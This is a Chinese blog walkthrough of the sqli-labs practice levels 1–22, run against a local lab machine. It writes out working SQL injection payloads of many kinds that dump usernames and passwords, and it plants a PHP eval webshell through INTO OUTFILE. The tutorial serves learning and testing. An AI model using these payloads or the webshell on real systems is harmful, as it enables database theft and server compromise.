Sqli-labs-master less1-22笔记_sqli-labs-master/less-22-程序员宅基地

技术标签: 安全  web  WEB安全  

#Sqli-labs-master 1-22

实验环境:Windows7 x64 专业版

​ PHPstudy 2018

​ PHP版本 5.4.45

​ 靶机:Sqli-labs-master

注:LESS1-10为GET型注入 11-22为POST型注入 每道题解法不一定唯一 对于手法重复的关卡均未赘述

第一关 — 单引号报错

本关所用到的函数:

​ database() ---- 数据库名

​ concat(str1,str2,…) ---- 没有分隔的连接字符串

​ concat_ws(separator,str1,str2,…) ---- 含有分隔符地连接字符串

​ group_concat(str1,str2,…) ---- 连接一个组的所有字符串,并以逗号分隔每一条数据

​ 1.在链接后输入?id=1’报错

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'

​ 2.使用单行注释–space(空格,url编码为%20)或–+或–'或#(url编码%23)后发现成功闭合查询语句,报错消失,判断该处为单引号闭合

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'--+

在这里插入图片描述

​ 3.使用order by查询表单个数,发现当值为4时页面报错,因此判断改数据库有三个表单

http://192.168.159.128/sqli-labs-master/Less-1/?id=1' order by 4--+ 

在这里插入图片描述

​ 4.使用联合查询 union select 1,2,3(使前面传入的id值恒为假 eg:id=-1)查找交互字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+ 

在这里插入图片描述

​ 改变任意一交互点位置为database()可得到数据库名为“security”

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

在这里插入图片描述

​ 5.使用group_concat查询数据库表名,查询后获知有四张表

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

​ 6.使用group_concat查看表中的字段,查询后获知有四个字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'--+

在这里插入图片描述

​ 7.获知以上数据后,即可查询securty.users中的所有字段,此处查询语句中的’^'用以分隔用户名和密码

​ 三种查询语句:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1111 union select 1,2,group_concat(username,'^',password) from security.users--+

​ //group_concat()函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'^',password)) from security.users--+

​ //concat函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('^',username,password)) from security.users--+

​ //concat_ws()函数

在这里插入图片描述

第二关 — 数值型注入

​ 字符型注入,根据传入参数后页面的变化来判断是否存在注入

​ eg: 条件为真

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=1

在这里插入图片描述

​ 条件为假:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2

在这里插入图片描述

​ 根据真假情况下页面的显示变化来判断是否存在注入点。本关中根据页面变化可以判断存在注入点,注入方法为:将第一关中的单引号去掉,其他手法完全一致。

​ 值得注意的是本关中使用union查询时,将前半段语句构造为假的方法有两种:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3--+

​ //通过and 1=2来构造假

http://192.168.159.128/sqli-labs-master/Less-2/?id=-1 union select 1,2,3--+

​ //通过查询一个不存在的id来构造假

第三关 — 单引号和括号闭合 将注入参数改为 ') 其他同第一关

第四关 — 双引号和括号闭合 将注入参数改为 ") 其他同第一关

第五关 — 单引号报错注入(Xpath报错注入又名双注入)

​ 该关卡中隐藏了交互字段的输出显示,需要使用相关的报错函数updatexml()

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

​ 1.传入单引号后页面显示报错,使用单行注释–后页面恢复正常,但随后的order by判断表单个数以及判断交互字段均不显示。可以尝试用floor()、updatexml()、extractvalue()函数进行报错注入。个人更喜欢用updatexml()进行注入,简单方便。故本次只采用updatexml()进行演示

在这里插入图片描述

​ 2.构造查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

​ 其中的0x7e为字符’‘的ASCII码126,或者也可以直接使用’'构造以下查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',database(),'~'),1)--+

在这里插入图片描述

​ 3.可以看到,通过updatexml()函数构造的语句已经将数据库名查询并显示出来,接下来构造语句查询库中的表名。值得注意的是,concat()中位于中间的关键查询语句需要用()括起来作为一句查询语句,但使用单一函数时可以不用括号

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的列名:

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的内容,查询结果为一个用户的账号和密码,可使用 limit 0,1、 limit 1,1来查看下一个用户的账号和密码

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

4.注意:

​ ①如果继续选择使用group_concat()会出现不能完全显示所有的内容且limit无效的情况,因为使用group_concat()会将字符串拼接,因此不可以用使用limit 0,1来逐个查看。且updatexml()对字符输出长度最长输出32位

​ ②报错注入是将查询的反馈信息通过报错显示出来,因此不需要再去判断有几个表,也不需要判断交互字段的位置,查到数据库名后依次进行表名、列名、字段内容的查询。

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

第六关 — 双引号报错注入 该关卡只需要将第五关的单引号换成双引号

第七关 — dump into outfile

​ 开始本关之前,需要修改一下配置文件。打开mysql命令行,使用 show variables like ‘%secure%’; 查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/" 修改完成后重启phpstudy,再次使用 show variables like ‘%secure%’;查看secure_file_priv的值已经更改为 “C:” 可以开始实验。

在这里插入图片描述

​ 至于为什么要修改这个参数,现将关于secure_file_priv的配置问题罗列如下:

​ (1)限制mysqld不允许导入和导出
​ mysqld --secure_file_prive=null

​ (2)限制mysqld的导入和导出只能发生在/tmp/目录下
​ mysqld --secure_file_priv=/tmp/

​ (3)不对mysqld 的导入和导出做限制
​ 在/etc/my.cnf或者my.ini文件中不指定值。

​ 下面开始本关实验:

​ 1.尝试单引号、双引号、括号、and 1=2后只有单引号报错,确定闭合类型为单引号。使用注释–后页面依然报错,单引号后添加一个括号依旧报错,添加两个括号后页面恢复正常。

http://192.168.159.128/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

​ 2.接下来通过order by判断表的个数,当order by 4时页面发生报错,因此判断有三张表

http://192.168.159.128/sqli-labs-master/Less-7/?id=1')) order by 4--+

在这里插入图片描述

​ 3.尝试使用union select 1,2,3来判断交互字段,发现页面和less5的报错注入一样没有显示交互字段,且尝试使用updatexml()也不能进行报错注入。

在这里插入图片描述

​ 4.这里需要引入另一个mysql命令:mysql select into outfile 以及php一句话木马

​ select into outfile命令作用将查询结果输出保存到一个文件中,要想使用该方法对环境的要求较高

​ ①要有file_priv权限 ②知道网站绝对路径 ③要能用union ④对web目录有写权限 ⑤没有过滤单引号

​ php一句话木马:

<?php @eval($_POST["pass"]);?> 

​ 其中的pass为使用工具连接时的连接密码,其中pass外面的引号可以用单引号也可以用双引号。当然不止这一种写法,这里不再铺开。

	file_priv在本关一开始便已经做了相应更改,其他环境要求均符合,下面开始实际操作:

​ 通过select into outfile命令将特定的查询语句写入到指定目录下的233.php文件中

http://192.168.159.128/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/less-7/233.php"--+

​ 我执行查询语句之后页面依然是报错,在参考其他帖子时发现有的是可以在网页上显示执行的命令,但我的还是和之前的报错没什么企业别,打开靶机指定的文件夹发现233.php已经生成。

在这里插入图片描述

​ 查看233.php中的内容,发现成功写入php一句话木马

在这里插入图片描述

​ 使用中国蚁剑连接一句话木马,成功连接
在这里插入图片描述

在这里插入图片描述

注意:

​ 在构造查询语句时有两个注意的地方:

​ ①一句话木马中的密码外采用单引号时会出现不能成功写入的情况,双引号写入的成功率为100%

​ ②我在在指定文件路径时,采用双反斜杠(\)和单斜杠(/)都是可行的

第八关 — 单引号闭合的布尔型盲注入

开始之前先介绍一下关于函数substring用法:
eg:substring(appache,1,3) 结果:app 即从第一位开始截取三位
在这里插入图片描述

手工盲注入比较费事费力,本关中对于每个地方的关键字猜测均只介绍了从第一个开始

1.判断数据库名长度,当length()长度为8时页面依然显示"You Are in …",当长度为9时提示消失,既查询结果为假,得知数据库名长度为8

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and length(database())=9--+

在这里插入图片描述

2.判断数据库名的第一个字母是否为a(或A) ?

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='a'--+

在这里插入图片描述

​ 根据查询结果返回值为假,则数据库名第一个字母不是a,更改要判断的字母以及判断位置,直到将数据库名查询出来。真值结果如下所示。
在这里插入图片描述

3.在这里可以借助burp suite实现快速查询,避免手动查询的繁琐,在字符a上添加一个payload标记
在这里插入图片描述

在intruder设置中选择payload为从a-z,开始攻击
在这里插入图片描述
根据返回值的长度判断出数据库名第一个字符为s,改变判断位置再次执行相同的攻击,根据返回值长度判断出数据库名第二个字符为e,其余的字符只需更改判断位置即可,不再赘述。

在这里插入图片描述
4.通过八次操作,现已知数据库名为security,现在开始获取表名

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

判断第一张表的第一个字符是否为a,修改判断位置,其余方法一致,直到所有的表被判断出来,在这里提醒一个技巧,可在payload中加入一个英文逗号,以此来判断表名是否结束,比如在判断为止为7的时候,判断出来的字符为’,’ 即表示第一张表结束 完整表名为emails
在这里插入图片描述
5.已知数据库名,表名,查询表中的字段,方法同上

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a'--+

6.已知数据库名、表名、表中字段,现查users表中username和password字段中的内容,账号密码以’^'隔开以便区分,至此注入完毕。

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(username,'^',password) from security.users),1,1)='a'--+

提示:
1.以上的字符判断不区分大小写,但账号密码大小写敏感,对于密码大小写可用ASCII码进行判断
2.盲注入较为繁琐,了解原理之后可采用自动化注入

在这里插入图片描述

第九关 — 单引号闭合的基于时间盲注入

​ 该关卡中尝试过单引号、双引号、数值型后发现均无法使查询语句闭合,在尝试过less8的单引号闭合的布尔型盲注后,此关卡引入单引号闭合的时间盲注。

1.首先了解一下在SQL中if语句的用法

IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr2
的值为FALSE,则返回值为 expr3

结合sleep()可以构成基于时间盲注的SQL语句

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring(database(),1,1)='s',sleep(3),null) --+

该语句的意思为:如果数据库名的第一个字符等于字母s为真,则延时三秒后进行响应,如果为假,则不执行任何语句,这里的null可以写成任何对该语句没有影响的条件,例如写个1、2

在这里插入图片描述

2.修改判断位置,以此判断出数据库名的其他字符,直到整个数据库名security全部取出

3.已知数据库名为security,查询数据库中的表

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(3),null) --+

结合我在盲注一中讲述的内容,查出所有的表

4.已知数据库名security、数据表users,查询表中的字段

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(3),null) --+

5.已知数据库名security、数据表users,users表中username、password字段,查询字段中的内容

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(username,'^',password) from security.users),1,1)='d',sleep(3),null) --+

至此基于时间延时盲注入完成,关于密码大小写敏感的方法已经在我布尔盲注入一中提到

提示:
判断是否能使用延时注入的方法是将sleep()带入注入点,看能否被执行,执行一下语句,如果存在延时注入,页面将会延迟响应

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and sleep(5) --+

在这里插入图片描述

第十关 — 双引号闭合的基于时间盲注,该关卡只需要将less 9的单引号换成双引号

Sqli-labs-master 11-20关 —POST

第十一关 — 单引号闭合

​ 该关卡为单引号闭合,经过尝试在用户名和密码处均存在注入漏洞。与GET型传参不同的是,在进行POST型注入的时候需要打开hackbar的Enable POST功能,先在表单中输入用户名1和密码1之后再进行load,hackbar的POST中会加载出 ”passwd=1&submit=Submit&uname=1“。”submit=submit“会导致我使用的hackbar报错”form.submit is not a function“,经过尝试将POST体中的内容改为"passwd=1&uname=1"后可正常执行构造的语句。

在这里插入图片描述

​ 本关卡中除了order by的结果为2之外,其他的方法同less完全一致,不再赘述

在这里插入图片描述

第十二关 — 双引号和括号闭合,账号和密码出均存在注入,注入方法同less11

第十三关 — 单引号和括号闭合,交互字段被隐藏,采用updatexml()报错注入,方法同less5

在这里插入图片描述

第十四关 — 双引号闭合 将less13中的 ‘) 换成 " 即可

在这里插入图片描述

第十五关 — 单引号闭合的布尔型/时间行注入

开始本关之前,需要纠正一个之前一直存在的惯性思维

?id=1 and sleep(5)-- #    uname=1&passwd=1 and sleep(5)-- #   同理:  uname=1 and sleep(5)-- #&passwd=1 

?id=1' and sleep(5)-- #   uname=1&passwd=1' and sleep(5)-- #   同理:  uname=1' and sleep(5)-- #&passwd=1 

?id=1" and sleep(5)-- #   uname=1&passwd=1" and sleep(5)-- #   同理: uname=1" and sleep(5)-- #&passwd=1 

在本关卡的测试中,由于没有显示交互字段便着手采用盲注入,但尝试以上各种语句后页面都没有发生延迟响应,经过查阅资料后得知

GET型与POST型的时间盲注还是存在相应的不同,在前面的GET型中我们知道?id=1这个条件本来就是true(users表单下面有三个关键字id、username、password。其中的id就是?id=1所查询的结果),而我们测试POST型的uname和passwd都为1,这个条件本身为false,因为数据库没有这个用户,既整个查询语句为假。但如果我们知道有一个用户的信息上面的语句就能使用:

布尔型注入结果为true的情况如下:
在这里插入图片描述

基于时间的盲注虽然页面显示login failed,但是能感觉到页面已经延迟响应,通过network查看页面也的确延迟

在这里插入图片描述

在这里插入图片描述

​ 但实际的问题中,是不一定能找出一个存在的用户,这里就需要引入“万能语句”。POST型注入中,要判断字符型注入,最方便的就是利用”万能语句“

1 or 1=1 --+           	 1) or 1=1--+            1)) or 1=1--+
1' or 1=1 --+            1') or 1=1--+           1') or 1=1--+
1" or 1=1 --+            1") or 1=1--+           1") or 1=1--+ 

一般构造方法为 x(闭合字符) or 执行语句,eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),sleep(3),null) --+

​ 该语句解释为:判断数据库名的第一个字符是否为‘s’,true则sleep三秒,否则不执行其他指令。但在实际执行的时候发现页面延迟响应时间远大于3秒,经过查阅得知POST型延迟注入比GET型慢,实际测试后发现在POST型中sleep(1)实际的睡眠时间大概为13秒,所以我这里的sleep(3)实际睡眠时间实际为40秒

在这里插入图片描述

​ 在某些情况下,我们还可以把查询为真和假所执行的语句换一下以加快速度,比如该关卡中可以让查询为真时立刻相应,查询为假时

延迟响应。eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),null,sleep(3)) --+

​ 了解这些前提后,我们开始正式注入操作

本关中以布尔型为例,基于时间注入请参考less9

​ 查询数据库名首字母是否为’s’,根据页面反应结果为真。依次查出数据库名为security。

uname=1&passwd=admin' or substring(database(),1,1)='s'  --+

在这里插入图片描述

​ 查询security下的第一张表第一个字母是否为’e’

uname=1&passwd=admin' or substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'  --+

在这里插入图片描述

​ 根据less8的盲注经验,可依次查询出后续关键字,由于盲注较为费时,这里不再赘述。

第十六关 — 双引号和括号闭合的基于时间/布尔型盲注 将less15的单引号换成 ")即可

第十七关 — 本关是一个更新用户密码的过程

​ 1.输入用户名1’密码1提交后,页面显示失败,且在尝试账号和密码出分别尝试 各种闭合字符和万能语句后依然不变

在这里插入图片描述

​ 2.根据关卡标题,该关卡是一个更新密码的过程,于是将username填入admin 密码填1,显示更新密码成功
在这里插入图片描述

​ 3.尝试在username表单中尝试闭合字符,页面变成最初失败界面。尝试在密码处输入单引号,页面出现sql语句报错:
在这里插入图片描述

​ 4.继续构造查询语句,尝试使用oeder by 页面报错 Unknown column ‘2’ in ‘order clause’,且减小猜测数依然报错。尝试直接使用union select 1,2后,页面直接出现SQL语法报错。
在这里插入图片描述

​ 5.尝试使用报错注入获取数据库名,成功。后续查询请参考less5,不再赘述。

在这里插入图片描述

第十八关 — HTTP头注入–user-agent

按照之前的构造方法进行尝试后均未成功,根据题目提示此题应为HTTP头注入,使用burpsuite进行抓包尝试注入

根据页面反馈,当正确登陆时页面会返回当前的user-agent以及IP地址,得知此处应包含insert 语句,将用户的user-agent写入到数据库再显示到用户界面。由此便产生了注入漏洞。

下面开始利用updatexml()构造注入语句查询数据库名:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and '

在这里插入图片描述

查询表单:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)and '

在这里插入图片描述

后续查询字段以及字段中的内容与以上一样,不再赘述。

第十九关 — HTTP头注入–Referer

打开题目界面又是一个与less18相同的登录框,使用admin admin登录之后,页面显示:

在这里插入图片描述

结合less18的经验,此处又为insert语句导致的referer注入。直接使用burp抓包尝试。

Referer: http://192.168.159.128/sqli-labs-master/Less-19/' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

尝试后发现与less18只是注入位置发生了变化,其他无异。

第二十关 — HTTP头注入–Cookie

打开题目页面,又是一个相似的登陆界面,只是没有了IP地址的提示,尝试使用admin admin登录后,页面显示出:

在这里插入图片描述

点击“delete your cookie”之后,页面返回到登录窗口。

使用burpsuite抓包,结合标题,在cookie处尝试构造注入语句。通过尝试发现有三张表,交互字段位于2所处的位置,后续步骤为普通的union查询。

Cookie: uname=-admin' union select 1,database(),3--+

在这里插入图片描述

第二十一关 — HTTP头注入–Cookie(BASE64编码)

题目页面又是一个熟悉的登录框,尝试普通测试语句无效后,使用admin admin登录,登录后出现信息页面:

在这里插入图片描述

与上几关不同的是(本关中的warning是我的时区配置问题),本关中的cookie内容是经过base64加密的,同样在cookie位置尝试注入,发现无效。经过查阅资料得知在加密的cookie注入时,应将相应的注入语句采用同样的加密方式加密后在代入注入点即可。

将“uname=”后面的尝试语句进行加密后带入注入点,页面出现SQL报错。

Cookie: uname=YWRtaW4n

在这里插入图片描述

继续尝试其闭合字符,发现闭合字符为 ‘) 即:admin’)# ==> WRtaW4nKSM=
在这里插入图片描述

查询数据库名:
在这里插入图片描述

在这里插入图片描述

剩余步骤只需要按照正常的union查询,并将查询语句进行base64加密再带入注入点即可。

第二十二关 — HTTP头注入–Cookie(BASE64编码)

本关与less相比,只有闭合字符发生了变化,本关的闭合字符为 "

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/skynet_x/article/details/109284094

智能推荐

今天给大家介绍一下华为智选手机与华为手机的区别_华为智选手机和华为手机的区别-程序员宅基地

文章浏览阅读1.4k次。其中,成都鼎桥通信技术有限公司是一家专业从事移动通讯终端产品研发和生产的高科技企业,其发布的TD Tech M40也是华为智选手机系列中的重要代表之一。华为智选手机是由华为品牌方与其他公司合作推出的手机产品,虽然其机身上没有“华为”标识,但是其品质和技术水平都是由华为来保证的。总之,华为智选手机是由华为品牌方和其他公司合作推出的手机产品,虽然外观上没有“华为”标识,但其品质和技术水平都是由华为来保证的。华为智选手机采用了多种处理器品牌,以满足不同用户的需求,同时也可以享受到华为全国联保的服务。_华为智选手机和华为手机的区别

c++求n个数中的最大值_n个数中最大的那个数在哪里?输出其位置,若有多个最大数则都要输出。-程序员宅基地

文章浏览阅读7.6k次,点赞6次,收藏17次。目录题目描述输入输出代码打擂法数组排序任意输入n个整数,把它们的最大值求出来.输入只有一行,包括一个整数n(1_n个数中最大的那个数在哪里?输出其位置,若有多个最大数则都要输出。

python overflowerror_python – 是否真的引发了OverflowError?-程序员宅基地

文章浏览阅读520次。Python 2.7.2 (v2.7.2:8527427914a2, Jun 11 2011, 15:22:34)[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> float(1...

详解SwiftUI数据流是怎么在View间传递的_ios 怎么把swiftui事件传到uiview里-程序员宅基地

文章浏览阅读1.9k次。作为一个声明式的UI框架,SwiftUI帮我们处理了几乎所有关于UI和数据之间的交互,这使我们不再需要关注数据变化时刷新UI和用户交互以后更新数据的逻辑。为了实现数据和UI的绑定,我们需要利用Swift的一些关属性包装器来向SwiftUI描述它们之间的关系,那么让我们开始吧。到公众号【iOS开发栈】学习更多SwiftUI、iOS开发相关内容。State Properties @State在前面的一篇文章中当我们给数组添加或者删除元素时,列表会自动响应变化,正是因为使用了@State._ios 怎么把swiftui事件传到uiview里

1-8 linux系统中的软件管理-程序员宅基地

文章浏览阅读99次。#### 1.Linux中软件包的类型 ####1.DEB#UBlinux DEBlinux2.RPM #redhat centOS fadora3.bz2|gz|xz#1.需要源码安装需要编译 #2.绿色软件,直接可用 #ntfs-3g_ntfsprogs-2017.3.23.tgz需要编译 "configur...

基于动态用户偏好和服务质量的推荐算法-程序员宅基地

文章浏览阅读4.9k次。引用:Zhang Y, Qian Y, Wang Y. A RecommendationAlgorithm Based on Dynamic User Preference and Service Quality[C]//2018 IEEEInternational Conference on Web Services (ICWS). IEEE, 2018: 91-98.摘要:在服务计算领域...

随便推点

Android面试官,面试时总喜欢挖基础坑,整理了26道面试题牢固你基础!(3)-程序员宅基地

文章浏览阅读795次,点赞20次,收藏15次。AIDL是使用bind机制来工作。java原生参数Stringparcelablelist & map 元素 需要支持AIDL其实Android开发的知识点就那么多,面试问来问去还是那么点东西。所以面试没有其他的诀窍,只看你对这些知识点准备的充分程度。so,出去面试时先看看自己复习到了哪个阶段就好。下图是我进阶学习所积累的历年腾讯、头条、阿里、美团、字节跳动等公司2019-2021年的高频面试题,博主还把这些技术点整理成了视频和PDF(实际上比预期多花了不少精力),包含知识脉络 + 诸多细节。

机器学习-数学基础02补充_李孟_新浪博客-程序员宅基地

文章浏览阅读248次。承接:数据基础02

短沟道效应 & 窄宽度效应 short channel effects & narrow width effects-程序员宅基地

文章浏览阅读2.8w次,点赞14次,收藏88次。文章目录1. 概念:Narrow Width Effect: 窄宽度效应Short Channel effects:短沟道效应阈值电压 (Threshold voltage)2. 阈值电压与沟道长和沟道宽的关系:Narrow channel 窄沟的分析Short channel 短沟的分析1. 概念:Narrow Width Effect: 窄宽度效应在CMOS器件工艺中,器件的阈值电压Vth 随着沟道宽度的变窄而增大,即窄宽度效应;目前,由于浅沟道隔离工艺的应用,器件的阈值电压 Vth 随着沟道宽度_短沟道效应

小米组织架构再调整,王川调职,雷军自任中国区总裁_小米更换硬件负责人-程序员宅基地

文章浏览阅读335次。5月17日,小米集团再发组织架构调整及任命通知。新通知主要内容为前小米中国区负责人王川调职,雷军自任中国区总裁。小米频繁调整背后,雷军有些着急了中国区手机业务持续下滑。根据IDC最近公布的数据,小米一季度全球出货量为2750万台,相比去年同期的2780万台,小幅下降。参考Canalys、Counterpoint的统计,小米一季度出货量也都录得1%的同比下滑。作为对比,IDC数据显示,华为同期出..._小米更换硬件负责人

JAVA基础学习大全(笔记)_java学习笔记word-程序员宅基地

文章浏览阅读9.1w次。JAVASE和JAVAEE的区别JDK的安装路径[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-perPRPgq-1608641067105)(C:\Users\王东梁\AppData\Roaming\Typora\typora-user-images\image-20201222001641906.png)]卸载和安装JDK[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SYnXvbAn-1608641067107)(C:\Users_java学习笔记word

vue-echarts饼图/柱状图点击事件_echarts 饼图点击事件-程序员宅基地

文章浏览阅读7.8k次,点赞2次,收藏17次。在实际的项目开发中,我们通常会用到Echarts来对数据进行展示,有时候需要用到Echarts的点击事件,增加系统的交互性,一般是点击Echarts图像的具体项来跳转路由并携带参数,当然也可以根据具体需求来做其他的业务逻辑。下面就Echarts图表的点击事件进行实现,文章省略了Echarts图的html代码,构建过程,option,适用的表格有饼图、柱状图、折线图。如果在实现过程中,遇到困难或者有说明好的建议,欢迎留言提问。_echarts 饼图点击事件